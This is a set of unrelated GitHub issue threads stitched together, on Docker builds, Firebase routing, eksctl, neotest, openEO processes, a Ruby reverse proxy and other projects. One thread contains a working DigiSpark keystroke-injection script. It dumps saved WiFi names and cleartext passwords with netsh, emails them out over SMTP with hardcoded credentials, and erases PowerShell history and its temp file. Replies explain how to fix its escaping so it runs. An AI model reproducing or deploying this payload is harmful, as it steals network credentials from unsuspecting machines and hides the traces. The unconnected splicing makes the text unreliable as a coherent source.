[18.09] Bump Go to  1.11.12

Bump Go to 1.11.12
go1.11.12 (released 2019/07/08) includes fixes to the compiler and the linker.
See the Go 1.11.12 milestone on our issue tracker for details:

https://github.com/golang/go/issues?q=milestone%3AGo1.11.12

Full diff: https://github.com/golang/go/compare/go1.11.11...go1.11.12
Misc Dockerfile improvements

moby#37953 Dockerfile.e2e: simplify apk calls
moby#39537 Dockerfile: Use APT_MIRROR for security.debian.org as well
moby#39548 Dockerfile: use GO_VERSION build-arg for overriding Go version
moby#39585 Dockerfile.windows: trim .0 from Go versions
moby#39586 Windows: fix Golang version checks for GO_VERSION build-arg
moby#39582 Pin Dockerfile to -stretch variant because it's bust'd

Need to cherry-pick some other changes

https://github.com/moby/moby/pull/39548 Dockerfile: use GO_VERSION build-arg for overriding Go version
https://github.com/moby/moby/pull/39585 Dockerfile.windows: trim .0 from Go versions
https://github.com/moby/moby/pull/39586 Windows: fix Golang version checks for GO_VERSION build-arg
https://github.com/moby/moby/pull/39582 Pin Dockerfile to -stretch variant because it's bust'd

 22:45:29 E: Unable to locate package libprotobuf-c0-dev

ping @kolyshkin ^^

Also

https://github.com/moby/moby/pull/37953 Dockerfile.e2e: simplify apk calls
https://github.com/moby/moby/pull/39537 Dockerfile: Use APT_MIRROR for security.debian.org as well

@thaJeztah PTAL

Is this the failure?
20:13:55 /go/src/github.com/docker/docker/hack/ci/janky: line 7: GIT_SHA1: unbound variable
20:13:57 Build step 'Execute shell' marked build as failure

@seemethere @andrewhsu ?

I think we need this cherry-picked to the 18.09 codeline: https://github.com/moby/moby/pull/39529/commits/bd5c5373f1b930e6a4f29a77606fa687c2200aeb

I've added the environment variable GIT_SHA1 back to the jenkins job for now.

I think we need this cherry-picked to the 18.09 codeline: moby@bd5c537

There's no Jenkinsfile in 18.09 so it's impossible to backport

Looks like this one is ready to merge, except I don't know how to restart janky CI

Janky failure is

02:39:07.872 Step 24/29 : COPY --from=builder /output/docker-frozen-images /docker-frozen-images
02:39:08.916 invalid from flag value builder: pull access denied for builder, repository does not exist or may require 'docker login'
02:39:08.925 Build step 'Execute shell' marked build as failure

Did we really broke something?

Yes we did, looks like commit 697cd3d85dbfb73c68a7b0c7646b6b85a665799e changes base to builder. My bad. Fixed, force-pushed.

Only failures are https://jenkins.dockerproject.org/job/Docker-PRs-experimental/46361/console  experimental:
06:39:37 FAIL: docker_cli_run_test.go:1792: DockerSuite.TestRunInteractiveWithRestartPolicy
06:39:37
06:39:37 assertion failed:
06:39:37 Command:  /usr/local/cli/docker run -i --name test-inter-restart --restart=always busybox sh
06:39:37 ExitCode: 0
06:39:37 Error:    <nil>
06:39:37 Stdout:
06:39:37 Stderr:
06:39:37
06:39:37 Failures:
06:39:37 ExitCode was 0 expected 11

Janky https://jenkins.dockerproject.org/job/Docker-PRs/55270/console
07:46:52 FAIL: docker_cli_start_test.go:190: DockerSuite.TestStartReturnCorrectExitCode
07:46:52
07:46:52 assertion failed: expected an error, got nil


Update FFTM for websocket.topic

To pull in https://github.com/hyperledger/firefly-transaction-manager/pull/20

@shorsher is going to submit this so I can approve (as @nguyer is on vacation today)


Can't manually type in a nested url

This is my main concern for using firebase. Most SPA's use a custom backend which has a catchall route handler that allows this feature (gmail, youtube, etc), but with firebase users have to start from the root path before navigating the routes. This issue may be out of scope since I'm guessing it's not possible with firebase, but is there something I can add to make this work? Thanks.

You can definitely do this with Firebase Hosting and actually when you use the firebase CLI it will ask if you'd like to configure your paths to work as a typical SPA does (as you describe!) So I'd look into that :)


own code

#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String ':(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('jakubsvab2004', 'mypasswordhaha'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From =<EMAIL_ADDRESS>$ReportEmail.To.Add('jakubsvab2004@gmail.com'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'K Emailu přidán soubor s údajemy.'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "del (Get-PSReadlineOption).HistorySavePath""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}
i made this script. Its same like wifi profile mailer but i changed saving wifi password and SSID bcs original version dont save it. But this dont workk. when i try to uload it says : stray '$' in program.
what should i do?
when i try save password it works but email dont work

Hi @kubikjepp, the problem is that you are not using escape sequences.
For example in:
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles)
this should be
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles)
The current version of WiFi_Profile_Mailer should be working just fine.
@CedArctic I think that this issue can be closed.

okay, i tried to upload original wifi profile mailer, but it dont send email. and i cant find file temp.csv
can u help?

@kubikjepp sorry for the late reply, the notification must've escaped me. @Michyus is right, you need to use escape sequences. The reason you probably can't find the temp.csv file is because the script deletes it before it exits - see line: DigiKeyboard.print(F("del temp.csv"));. You might have issues with your email provider e.g: Google requires that you turn off some security features etc. Take a look into these things and if issues persist post back here. In the mean time I am closing this issue.


Return error when unable to connect to vSphere nodes

What would you like to be added:
I would like a clear error reported when running eksctl anywhere if the bootstrapping (creation or upgrade) fails due to the bootstrap cluster being unable to communicate with the vSphere nodes - despite successfully being able to talk to the vCenter endpoint.
If there are any firewalls in place between the bootstrap/management cluster and the workload cluster, this will be a problem.
Most notably this ends up being the etcd nodes, because those are created first.
Why is this needed:
This will reduce troubleshooting time for systems where subnets are generally isolated/DMZ'd and require explicitly firewall openings to talk across to things.
In my particular case, my bootstrap cluster was able to talk to the vCenter REST API to tell vSphere to create the etcd nodes, but those new nodes existed on a different subnet than vSphere itself. The subnet for the etcd nodes was in a DMZ. So the bootstrapping process failed to connect to the etcd nodes until I opened the firewall rule.  Hind-sight I should have remembered to get the firewall rule originally, but there was no clear error telling me the whole thing failed to provision a new cluster simply because it couldn't talk to any of the servers it requested vSphere to create.

Hi @smarsh-tim, thank you for reporting the issue. Controllers use retry logic to poll on whether VMs are up and running, so it is difficult to distinguish between VMs that are not up but not reachable versus the ones that are not up and/or fully functioning yet. I have poked around to see if we could have a pre-flight validation to see if the vSphere network that is used in the config for these cluster VMs is reachable. However, there is not a way in govc/govmomi currently to get detailed information about these networks such as default gateway etc. Even if we had that, there may not be a reliable way of determining that the network is routable/reachable from the CLI or it may not yield a foolproof approach. Networks are not controlled by vSphere, they are created externally (in case of VMC, it would be via the VMC console). So it may not always be a valid expectation that if vCenter is reachable, the cluster network would be reachable too, as you pointed out. We will discuss this more on our side and circle back.

Closing due to no activity within the last 60 days


Work on improving long run time

Currently the workflow can take up to 15 hours for two months of emulators with 100k variants. Improving and shortening the time needed to run an analysis can be very beneficial. Some current ideas for speeding up the workflow include: parallelization, switching csv's to netcdf, and avoiding reading files in when they can just be kept in memory

My two-weeks set runs in 20 minutes or so. How is it working for you @vasanchez16? We could look into parallelization if it would help.

Some extra work is necessary to speed up the runtime. A trial using 300k emulator variants takes over 24 hours. It appears much of the run time comes from the use of data frames and this can be alleviated using arrays and array operations.

[ ] Model Discrepancy: Read in the prediction files into arrays, but include capability for dataframes
[ ] Model Discrepancy: Save distances and variances files in netCDF format

When running the workflow for 300k emulator variants, holding this much data exceeds the memory limit for bridges2. some extra work is needed to save the data (i.e. distances and variances) incrementally and open only specific portions (i.e. distances for only one emulator variant) of the data when needed.
Needed changes:

[ ] rewrite code to save data incrementally (append data to existing nc files)
[ ] rewrite mle code to only read in necessary data

The memory issue is now fixed. However in the MLE step the code hits massive runtimes. This may be due to the large overhead of reading data from such a large distances file. Parallelization was tested and did not make a significant difference for the run time.
Next step for the approach is to break up the distances files into multiple files to reduce the overhead of reading from one very large file. Some additional work will be done to allow the workflow to restart different points in the workflow rather than having to start from step 1 every time.

General Checklist:

[ ] set up needed folders in output dir
[ ] Introduce Distances chunk size
[ ] save mle outputs as they are generated


Project

Do all work for this task in a branch called issue-04
Create the following:
ProjectCollection w/ Schema
ProjectList component
ProjectView component
ProjectForm component

7 hours


[Task]: Fix broken CI

Task description
https://github.com/iotaledger/firefly/actions/runs/9647354706
build (macos-11)
GitHub Actions has encountered an internal error when running your job.
This is a scheduled macOS-11 brownout. The macOS-11 environment is deprecated and will be removed on June 28th, 2024.

Closed by https://github.com/iotaledger/firefly/pull/8565


X.A.TopicSpace: Add 'TopicItem'

Description

Add a new type 'TopicItem', as well as several helpers.  This is so users don't have to specify things in two places and then use some extra function to check if they've not made any mistakes.
Update the Usage documentation of TopicSpace; fix some inconsistencies and tell users that there is an alternative way.

Concerning the second part, I wonder if we should just drop "the old way" and tell users that going through 'TopicItem' is just how one should configure the module.  Personally, I think it's a straight upgrade over having to manually specify everything.  Opinions?
Cc: @byorgey because I originally took the definition of TopicItem out of your configuration.
Checklist

[x] I've read CONTRIBUTING.md

[x] I've considered how to best test these changes (property, unit,
manually, ...) and concluded: most of this is docs and the added functions are trivial

[x] I updated the CHANGES.md file

- [ ] I updated the XMonad.Doc.Extending file (if appropriate)

@TheMC47 would you care to give these new docs a read?


build::measurement of test coverage

Measurement of test coverage for

python libraries which are deployed
keyword libraries which are deployed

Hi @trimai3001 ,
what is the status of this issue?
Thank you,
Thomas

Hi Thomas,
Regarding the issue, I currently use pytest coverage for all repositories with pytest test types. These tests are being run locally and adjusted as needed before I commit and test them in the GitHub pipeline.
Next, I will research how to run test coverage for repositories that use the robot test type.
Thank you
Tri Mai

Hi @trimai3001 ,
Please look into coverage. Holger found this.
https://pypi.org/project/coverage/
This seems to be a very good tool. I like that you can go into the HTML-reports and from there you get directly the code parts highlighted which are not yet tested.
If this works, then it’s really amazing.
Thank you,
Thomas

Hi Thomas,
According to the coverage, I researched and showed Holger the prototype. He seemed happy with the coverage report last Monday, and I intended to show it to the team in the previous meeting. I am currently implementing it and will be finished soon.
BTW, could you please re-invite me to the python-microservice-base, robotframework-robotlog2rqm, and python-microservice-cleware-switch repositories? I missed your previous invitations. Sorry for the inconvenience.
Thank you,
Tri

integrated in 0.12.1


correct << to [

Unless I misunderstand

@ChipNowacek actually your fix was correct. That was a typo when we converted from OrientDB docs in Markdown. I'm going to merge it. Thanks.

Oh. Ok. Thank you.


vctl system start pulls old version on Windows

Is there a way to have "vctl system start" pull a newer version of kind.exe and kubectl.exe?   When I update the files inside $env:USERPROFILE.vctl\bin with newer versions, then try to vctl system start, the new versions get clobbered (likely because they are patched, correct?)
PS C:\Users\user1.vctl\bin> vctl system start
INFO The version of kind.exe is not expected. Current version is v0.11.1, and version v0.9.0 will be downloaded
INFO The version of kubectl.exe is not expected. Current version is v1.21.2, and version v1.19.1 will be downloaded
Downloading 2 files...
Downloading [kubectl.exe 15.49% kind-windows-amd64 97.92%]
Finished kind-windows-amd64 100.00%
Downloading [kubectl.exe 98.45%]
Finished kubectl.exe 100.00%
2 files successfully downloaded.
Preparing storage...
Container storage has been prepared successfully under C:\Users\user1.vctl\storage
Preparing container network...
Container network has been prepared successfully using vmnet: vmnet8
Launching container runtime...
Container runtime has been started.

You could set env VCTL_SKIP_KIND_CHECK to true to skip the download. Please be aware that the newer version of kind and kubectl are not tested against the vctl, so they may not work as expected.

The skip works but a new error occurs now:
PS C:\Users\michael.vctl> vctl system start
Preparing storage...
Container storage has been prepared successfully under C:\Users\user1.vctl\storage
Preparing container network...
Container network has been prepared successfully using vmnet: vmnet8
Launching container runtime...
Container runtime has been started.
PS C:\Users\user1.vctl> kind create cluster --image kindest/node:v1.21.2 --name kind-1.21.2
ERROR: failed to create cluster: invalid character '{' looking for beginning of object key string
Note this is using the latest  https://dl.k8s.io/release/v1.21.2/bin/windows/amd64/kubectl.exe  and  https://github.com/kubernetes-sigs/kind/releases/download/v0.11.1/kind-windows-amd64 binaries.

Any updates on this?  I'd suggest releasing vctl standalone, out of band if Workstation to support current k8s versions. Bundled kubectl doesn't support powershell completions for example, not to mention it's four versions behind.

Its' now 5 versions behind and 6 soon. Is this project dead ?


UI should standardize to "webhook" (no caps)

The PMs on the Azure docs team who help manage terminology consistency want us to standardize on webhook, since it’s not an Azure feature or service name, and this makes us more consistent with GitHub. I don't we need to change any templates. The docs will also say webhook.

This may require updating templates and metadata.


Any Plan of Getting rid of newtonsoft and just utlizing System.Text.Json

Is there any Plan of Getting rid of newtonsoft and just utilizing System.Text.Json? It could be great if we can avoid this dependency. multiple third party libraries have get rid of it's dependency now

As far as I can tell, using Newtonsoft is completely optional. Since we in my company use it, I haven't verified that it works well without, though.

@KamranShahid - which version of SB are you using? As of 5.0.0, the core packages have no dependency on Newtonsoft and will honour serialisation behaviour of System.Text.Json be default.


Unitests not found if you are in a django project

Not sure why this is happening, but I'm running this in a Django project. I'm using the following shortcut:
vim.keymap.set("n", "<leader>df", "<cmd>lua require('neotest').run.run({vim.fn.expand('%')})<cr>", {})

If I run in a file inheriting from Django test case, like this:
from unittest.mock import MagicMock, patch
from django.test import TestCase
from common.jwt.token_auth import TokenAuth

class TokenAuthCase(TestCase):
    @patch("time.time", MagicMock(return_value=12345))
    def test_given_content_when_building_a_token_then_it_is_correctly_created(self):
        ...

Then the tests are found correctly. Nonetheless, if now I run the same shortcut in a test file where unittest testcase is used, I always get no tests found message:
import unittest
from unittest.mock import MagicMock, patch

class DataSyncServiceTestCase(unittest.TestCase):
     def test_whatever(self):
         ...

So not sure what it's going on. I'm new to neovim, so I may have something incorrect in my config. I tried in a pure unitest project, where django is not involved, and it was working correctly.
This is my neotest config (using lazy.vim), in case it helps:
return {
	{
		"nvim-neotest/neotest",
		dependencies = {
			"nvim-lua/plenary.nvim",
			"antoinemadec/FixCursorHold.nvim",
			"nvim-treesitter/nvim-treesitter",
		},
	},
	{
		"nvim-neotest/neotest-python",
		dependencies = {
			"nvim-neotest/neotest",
		},
		config = function()
			require("neotest").setup({
				adapters = {
					require("neotest-python"),
				},
			})

			-- run nearest test
			vim.keymap.set("n", "<leader>dm", "<cmd>lua require('neotest').run.run()<cr>", {})

			-- debug nearest test
			vim.keymap.set("n", "<leader>dM", "<cmd>lua require('neotest').run.run({strategy = 'dap'})<cr>", {})

			-- run whole file
			vim.keymap.set("n", "<leader>df", "<cmd>lua require('neotest').run.run({vim.fn.expand('%')})<cr>", {})

			-- debug whole file
			vim.keymap.set(
				"n",
				"<leader>dF",
				"<cmd>lua require('neotest').run.run({vim.fn.expand('%'), strategy = 'dap'})<cr>",
				{}
			)

			vim.keymap.set("n", "<leader>do", "<cmd>lua require('neotest').output.open({ enter = true })<cr>", {})

			-- toggle summary
			vim.keymap.set("n", "<leader>dS", "<cmd>lua require('neotest').summary.toggle()<cr>", {})

			-- open output panel
			-- vim.keymap.set("n", "<leader>to", "<cmd>lua require('neotest').output_panel.open()<cr>", {expr = true})
			vim.keymap.set("n", "<leader>to", function()
				require("neotest").summary.clear()
				require("neotest").summary.output_panel.open()
			end, { expr = true })
		end,
	},
}

I have seen this in the docs -> https://github.com/microsoft/debugpy/wiki/Debug-configuration-settings . There is a django flag, but that only enables support to debug html templates, so it should not affect this behaviour.

Hum, instead of using unittest.TestCase, I have used django.test.TestCase and now the tests are found. Not sure why though. @afrischk I have seend you developed the support for django, so I'm pinging to see if may be you know something about it?

So it seems you can use :echo stdpath("logs") to get the directory where nvim logs are. In there, you can check neotest.log. When I took a look there, I found the following:

It seems the mounted volume of the postgres image in my project, has root permissions. So the test finder was looking in that directory and it was triggering an error. What I don't get is why is looking there.

Hey @antoniogamizbadger I noticed that you have not configured the django runner. It should be detected by default though:
https://github.com/nvim-neotest/neotest-python/blob/2e83d2bc00acbcc1fd529dbf0a0e677cabfe6b50/lua/neotest-python/init.lua#L68
require("neotest").setup({
  adapters = {
    require("neotest-python")({
          runner = "django"
    }),
  },
})

The django test runner works with unittest.TestCases and with django.test.TestCases that should be no problem.
Do you have __init__.py files in the test packages? If not, test will not be found.
You could also use:
  is_test_file = function(filename)
      return filename:match("test_.+%.py$")
  end,

Maybe this helps finding the tests.
Please check also if you have configured a DB in the django settings as the default test runner from django tries to setup the db. Maybe this is an issue here? See: https://github.com/django/django/blob/cfecac27dedc27b5e7f098273787994f49d40037/django/test/runner.py#L1061


Reorder data in a tile using the value of a property

I'm building a tileset with POI data that has an "importance" number on it. In areas where the data is very densely packed, I'd like to pre-collide the data out of the tile using the existing --gamma flag, but I want to drop the "least important" places in a tile rather than whatever order tippecanoe would pick, so I propose that tippecanoe add a new reordering flag that sorts features in a tile using the value of a given property name.

You ended up solving this with MTS right?

Yep. It'd still be nice to solve it in Tippecanoe, but I understand if it's not a priority for you.


Text updating during login

"... you can recover it..."
The word "it" needs to be added.

Unable to see the changes in dev app v2.0.68(411)

Verified this issue on dev app v2.0.68(315)


Get cudf/spark dependency from the correct .m2 dir

Bug: https://github.com/NVIDIA/spark-rapids/issues/1031
'WORKSPACE' & 'M2DIR' vars are needed for shims to gen the correct cudf/spark dependency info in shims.
Below error in 'spark*-info.properties' is due to unset of 'WORKSPACE' & 'M2DIR':
build/dependency-info.sh: line 30: /jenkins/printJarVersion.sh: No such file or directory
build/dependency-info.sh: line 33: /jenkins/printJarVersion.sh: No such file or directory
To fix the error, we set the default values for them in 'build/dependency-info.sh':
'M2DIR=$HOME/.m2/repository'
'WORKSPACE=../..'
We also need to explicitly set the correct 'M2DIR' path, in case we change it by '-Dmaven.repo.local=$M2DIR'.
Already updated Jenkins scripts to set the correct 'M2DIR'.
Signed-off-by: Tim Liu<EMAIL_ADDRESS>

build

The changes look good, but it doesn't completely fix the issue.  If the script fails to run successfully for some reason then it will still not fail the build.  I would like to see changes related to error handling in addition to fixing the paths when run outside of Jenkins.  The improved error handling doesn't have to be part of this PR, but we shouldn't close #1031 until that is addressed.

@jlowe @revans2,  I agree if the script fails again later, then we'll stop the build.
I tried to add some scripts to check how to let mvn package  fails in case the script 'build/dependency-info.sh' runs failure.
As the dependency-info.sh is script is running in the child process forked by mvn package,  but the mvn process does not check the forked process's status, so even the child process fails, mvn process still run builds.
I did not find a good way to let mvn process automatically stop when 'dependency-info.sh' fails.
Have you any suggestions?
mvn process:                      21245   18897        java   -Dmaven.home=/home/timl/anaconda3/opt/maven
dependency-info.sh:           21304 21245     bash  build/dependency-info.sh 0.17-SNAPSHOT cuda10-1 3.0.0

I did not find a good way to let mvn process automatically stop when 'dependency-info.sh' fails.

The subprocess is launched by the Maven antrun plugin which in turn is using Ant to perform the tasks.  In this case it's the Ant exec task which is documented here.  There is a failonerror attribute that defaults to false.  Specifying that attribute as true will cause the build to fail if the program exits with an error code.  This should be done for every place in the build using the Ant exec task to ensure the build fails if a program we're trying to launch as part of the build fails.
That's the first step.  The next step is to ensure the script will fail if anything launched by the script fails.  That can be done by placing a set -e or set -o errexit command as the first command in the script.  Alternatively you can add a -e argument to every bash command line in an antrun exec directive.

@jlowe I tried the way you suggested, the failonerror attribute works for me.
Thanks very much for your help. I'll update it on the PR.

build

build

build

build

build


Feature: Time travel debugging with Python

Any plans on supporting time travel debugging with python?

Yes, so far we've added dropping call stack frames functionality and we're planning to implement more time travel debugging features in the future.


bitwise AND process

Proposed Process ID: bitwise_and
Context
A possible scenario came up in this issue, when considering quality flags of Sentinel-3 https://github.com/Open-EO/openeo-processes-python/issues/179
Summary
Currently the and process works only with boolean inputs (true or false, 0 or 1). A bitwise_and operator defined similarly to what numpy does would be necessary to accomplish this use case.
Description
Computes the bit-wise AND of the underlying binary representation of the input numbers.
Parameters
x
Optional: no
Description
A number
Data Type
number/null
y
Optional: no
Description
A number
Data Type
number/null
Return Value
Description
boolean value resulting from the bit-wise AND of the underlying binary representation of the input numbers.
Data Type
boolean/null
Links to additional resources (optional)

https://numpy.org/doc/stable/reference/generated/numpy.bitwise_and.html

Examples (optional)

https://github.com/Open-EO/openeo-processes-python/issues/179#issuecomment-1151974639

That would only work properly if both x and y are (unsigned) integers, right? If I understand correctly, JSON schema only has number without distinction between int and float, so that might be bit of a problem

@soxofaan JSON Schema has "integer" support and you can make it unsigned with "minimum": 0.

I am currently experimenting with a bitwise implementation of the and/or/xor processes.
When I get the mask-data (in the python back-end) , it is of type object since ODC does seems not to care whether it is image data with nulls or np.nan in it. I am not sure about the R and Javascript clients, but python makes a mess by only allowing the bitwise operators to be overloaded. https://github.com/Open-EO/openeo-python-client/issues/266)
But masking image data with an integer should not be that unlikely i think, so this means the data on either x or y may have no-data points.
As a bit of context, I list the inputs from a Python perspective since, we can have both np.none and None as no-data, which is used by np.array and xarrays. To further mess things up None  is only possible in Object data type. This is what I have understood by reading the processes and openeo-processes-python doc, but I am not sure how this translates to the JSON process definition.
None        , None        -> None
None        , float       -> None
None        , float-nan   -> None
None        , float64     -> None
None        , float64-nan -> None
None        , int         -> None
None        , int[]       -> object[]
None        , float[]     -> object[]
None        , object[]    -> object[]
float       , None        -> None
float       , float       -> float
float       , float-nan   -> float
float       , float64     -> float
float       , float64-nan -> float
float       , int         -> float
float       , int[]       -> float[]
float       , float[]     -> float[]
float       , object[]    -> object[]
float-nan   , None        -> None
float-nan   , float       -> float
float-nan   , float-nan   -> float
float-nan   , float64     -> float
float-nan   , float64-nan -> float
float-nan   , int         -> float
float-nan   , int[]       -> float[]
float-nan   , float[]     -> float[]
float-nan   , object[]    -> object[]
float64     , None        -> None
float64     , float       -> float
float64     , float-nan   -> float
float64     , float64     -> float
float64     , float64-nan -> float
float64     , int         -> float
float64     , int[]       -> float[]
float64     , float[]     -> float[]
float64     , object[]    -> object[]
float64-nan , None        -> None
float64-nan , float       -> float
float64-nan , float-nan   -> float
float64-nan , float64     -> float
float64-nan , float64-nan -> float
float64-nan , int         -> float
float64-nan , int[]       -> float[]
float64-nan , float[]     -> float[]
float64-nan , object[]    -> object[]
int         , None        -> None
int         , float       -> float
int         , float-nan   -> float
int         , float64     -> float
int         , float64-nan -> float
int         , int         -> int
int         , int[]       -> int[]
int         , float[]     -> float[]
int         , object[]    -> object[]
int[]       , None        -> object[]
int[]       , float       -> float[]
int[]       , float-nan   -> float[]
int[]       , float64     -> float[]
int[]       , float64-nan -> float[]
int[]       , int         -> int[]
int[]       , int[]       -> int[]
int[]       , float[]     -> float[]
int[]       , object[]    -> object[]
float[]     , None        -> object[]
float[]     , float       -> float[]
float[]     , float-nan   -> float[]
float[]     , float64     -> float[]
float[]     , float64-nan -> float[]
float[]     , int         -> float[]
float[]     , int[]       -> float[]
float[]     , float[]     -> float[]
float[]     , object[]    -> object[]
object[]    , None        -> object[]
object[]    , float       -> object[]
object[]    , float-nan   -> object[]
object[]    , float64     -> object[]
object[]    , float64-nan -> object[]
object[]    , int         -> object[]
object[]    , int[]       -> object[]
object[]    , float[]     -> object[]
object[]    , object[]    -> object[]


Tutorials and Examples: Need to change docs

Need to change a word lol. I'm just reading Deno docs.

Fixed


errors appear after a while, always fixed by restart

My setup (https://github.com/waterlink/rack-reverse-proxy/wiki/How-to-stream-a-WordPress-blog-through-a-Rack-app) will work quite well, and then I'll suddently start to get errors that look like this (i replaced my blog host with blog.example.com):
Errno::ECONNREFUSED: Connection refused - connect(2) for "blog.example.com" port 80
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 904 in initialize
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 904 in open
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 904 in block in connect
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb" line 93 in block in timeout
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb" line 103 in timeout
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 902 in connect
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 887 in do_start
File "/app/vendor/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb" line 882 in start
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-proxy-0.6.0/lib/rack/http_streaming_response.rb" line 70 in session
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-proxy-0.6.0/lib/rack/http_streaming_response.rb" line 59 in response
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-proxy-0.6.0/lib/rack/http_streaming_response.rb" line 29 in headers
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb" line 165 in rack_response_headers
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb" line 156 in build_response_headers
File "/app/vendor/bundle/ruby/2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb" line 152 in response_headers
...

A restart always solves the problem.
So my guess is it's some sort of leak of a resource, such as memory, file descriptors, or something else in the network stack. In theory a memory leak would present as memory problems with my app overall, which doesn't seem to be the case. But I'm not ruling anything out.
Looking through the code, here are candidates for possible resource leak problems:
this call to clone
https://github.com/waterlink/rack-reverse-proxy/blob/master/lib/rack_reverse_proxy/rule.rb#L106 -- looks like that url variable is something that can have call called on it, so it's not a string. i attempted to follow the code to figure out what it is, but was unable to.
http connections not being closed?
https://github.com/waterlink/rack-reverse-proxy/blob/master/lib/rack_reverse_proxy/roundtrip.rb#L200-L202 — target_response is a Rack::HttpStreamingResponse, which the documentation says "Wraps the hacked net/http in a Rack way". Is there a resource that needs to be closed? Looking in the code for rack-proxy, I find the http session opened here, but finish is never called https://github.com/ncr/rack-proxy/blob/master/lib/rack/http_streaming_response.rb#L64 -- maybe this is done intentionally, so that the connection will be reused? I don't know what the behavior is if the remote server times out the persistent connection, will net:http close on its side, or perpetually keep resources around?
here's the relevant net::http docs https://docs.ruby-lang.org/en/2.0.0/Net/HTTP.html

If you wish to re-use a connection across multiple HTTP requests without automatically closing it you can use ::new instead of ::start. request will automatically open a connection to the server if one is not currently open. You can manually close the connection with finish.
finish Finishes the HTTP session and closes the TCP connection. Raises IOError if the session has not been started.

/cc @ncr

@jjb thank you for the report. I have created a minimal rack app with rack-reverse proxy and enabled rack-mini-profiler on it. Here are the results:
Total allocated: 1195411 bytes (1339 objects)
Total retained:  6865 bytes (89 objects)

allocated memory by gem
-----------------------------------
   1105355  ruby-2.4.0/lib
     32850  other
     29469  rack-proxy-0.6.0
     16080  rack-2.0.1
     11577  rack-reverse-proxy-0.11.0
        80  rack-reverse-proxy-bench/app

allocated memory by file
-----------------------------------
   1050072  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb
     32850  <internal:prelude>
     29429  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb
